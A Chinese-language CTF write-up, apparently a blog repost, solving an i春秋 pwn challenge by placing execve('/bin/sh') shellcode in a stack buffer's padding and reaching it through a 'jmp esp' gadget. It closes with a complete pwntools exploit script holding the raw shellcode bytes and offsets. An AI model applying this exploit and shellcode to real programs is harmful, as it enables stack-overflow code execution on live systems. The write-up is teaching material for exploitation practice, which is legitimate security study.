【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode

当溢出长度不足时,如何将shellcode放入padding位值,并执行呢?

目录

前言

一、题目重述

​编辑

二、题目分析

1.存在溢出

2.如何跳转

3.payload构想

4.Addr(jmp esp)

5.指令序列 

三、exp 


前言

回顾ret2shellcode发现还有很多基础的技巧没有掌握。本题算是一个经典地、通过jmp esp将栈上的shellcode进行执行的题目。


一、题目重述

【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode_第1张图片

【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode_第2张图片

二、题目分析

1.存在溢出

但是溢出字节为50-(0x20+4)=14byte,构造合适的ROP链比较困难。但是padding长度有0x24个,所以可以尝试将shellcode写在栈上,当作padding的一部分,然后执行

2.如何跳转

栈地址我们如何得到——或者说,shellcode的地址如何确定,怎么能够ret到该地址执行shellcode呢?

这里就是本次想总结的技巧点:栈信息总是通过esp和ebp来确定。 <jmp esp;>  指令能够将执行流跳转到栈上,准确来说是esp指向的栈的下一条,因为这里是ret到jmp esp的地址,ret指令会弹栈;而jmp指令不会弹栈。 

这就意味着我们还需要对esp的值进行操作,让他指向我们的shellcode起始位置,再控制跳转执行。 

3.payload构想

padding(shellcode+padding)+ Addr(jmp esp) + 【指令序列(esp 指向shellcode;jmp esp)】

4.Addr(jmp esp)

【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode_第3张图片

5.指令序列 

到ret时,已经填充了0x20+0x4个字节,同时由于ret又弹出了一个字,这时esp距离shellcode有0x20+0x4+0x4=0x28个字节。因此,指令序列为:

sub esp,0x28; jmp esp;

三、exp 

from pwn import *

context.arch='i386'
context.log_level='debug'

io=process('./pwn')
io.recvuntil(b'name?\n')

# shellcraft.sh()过长,这里利用收集的短shellcode
payload=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload+=b'a'*(32+4-len(payload))
payload+=p32(0x08048504)+asm('sub esp,0x28;jmp esp;')

io.sendline(payload)
io.recv()
io.interactive()

总结

通过本例,掌握一个基础而常见的技巧:控制执行流到栈上指定位置开始执行。核心是利用了jmp esp 指令

你可能感兴趣的:(【PWN,·,ret2shellcode】,pwn,ret2shellcode)